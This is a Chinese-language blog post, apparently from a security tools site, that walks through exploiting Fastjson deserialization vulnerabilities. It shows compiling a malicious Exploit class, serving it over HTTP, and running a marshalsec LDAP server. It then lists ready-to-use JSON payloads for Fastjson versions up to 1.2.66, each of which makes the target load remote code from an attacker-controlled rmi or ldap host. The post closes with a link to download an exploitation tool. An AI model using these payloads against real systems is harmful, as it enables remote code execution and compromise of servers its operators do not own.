![index.png](/media/editor/index_20210720211028359832.png)
# Fastjson<=1.2.47反序列化漏洞为例 1、此时/tmp目录 ![tmp.png](/media/editor/tmp_20210720211040917791.png) 2、编译Exploit.java javac Exploit.java ![exploit.png](/media/editor/exploit_20210720211051673475.png) 3、 使用python搭建一个临时的web服务 [root@qiqi wordpress]# python -m SimpleHTTPServer 1111 Serving HTTP on 0.0.0.0 port 1111 ... Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件 4、服务器使用marshalsec开启LDAP服务监听: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/1111/#Exploit 9999 Ps:使用marshalsec工具快捷的开启LDAP 服务。借助LDAP服务将LDAP reference result 重定向到web服务器。 LDAP动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。 5、 Exploit.class恶意类执行的命令是: 在tmp目录下创建名为qiqi的文件。 Burp发包 使用EXP: { "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:9999/Exploit", "autoCommit":true } } ![burp.png](/media/editor/burp_20210720211011694178.png) 此时/tmp目录 ![qiqi.png](/media/editor/qiqi_20210720211017885506.png) ## Fastjson各版本反序列化EXP 影响版本: - fastjson<=1.2.24 exp: ``` {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true} ``` ------------ 影响版本: - fastjson<=1.2.41 前提: autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
“`
{“@type”:”Lcom.sun.rowset.JdbcRowSetImpl;”,”dataSourceName”:”rmi://x.x.x.x:1098/jndi”, “autoCommit”:true}
“`
————
影响版本:
– fastjson<=1.2.42 前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
“`
{“@type”:”LLcom.sun.rowset.JdbcRowSetImpl;;”,”dataSourceName”:”ldap://localhost:1399/Exploit”, “autoCommit”:true}
“`
————
影响版本:
– fastjson<=1.2.43 前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
“`
{“@type”:”[com.sun.rowset.JdbcRowSetImpl”[{,”dataSourceName”:”ldap://localhost:1399/Exploit”, “autoCommit”:true}
“`
————
影响版本:
– fastjson<=1.2.45 前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
“`
{“@type”:”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,”properties”:{“data_source”:”ldap://localhost:1399/Exploit”}}
“`
————
影响版本:
– fastjson<=1.2.47 exp:
```
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
``` ------------ 影响版本:
- fastjson<=1.2.62 exp:
```
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
``` ------------ 影响版本:
- fastjson<=1.2.66 前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
“`
{“@type”:”org.apache.shiro.jndi.JndiObjectFactory”,”resourceName”:”ldap://192.168.80.1:1389/Calc”}
{“@type”:”br.com.anteros.dbcp.AnterosDBCPConfig”,”metricRegistry”:”ldap://192.168.80.1:1389/Calc”}
{“@type”:”org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup”,”jndiNames”:”ldap://192.168.80.1:1389/Calc”}
{“@type”:”com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig”,”properties”: {“@type”:”java.util.Properties”,”UserTransaction”:”ldap://192.168.80.1:1399/Calc”}}
“`
## Fastjson各版本反序列化工具.zip 下载
[点我下载 Fastjson各版本反序列化工具.zip](/Gr33kLibrary/download_tool/108/)
请登录后查看评论内容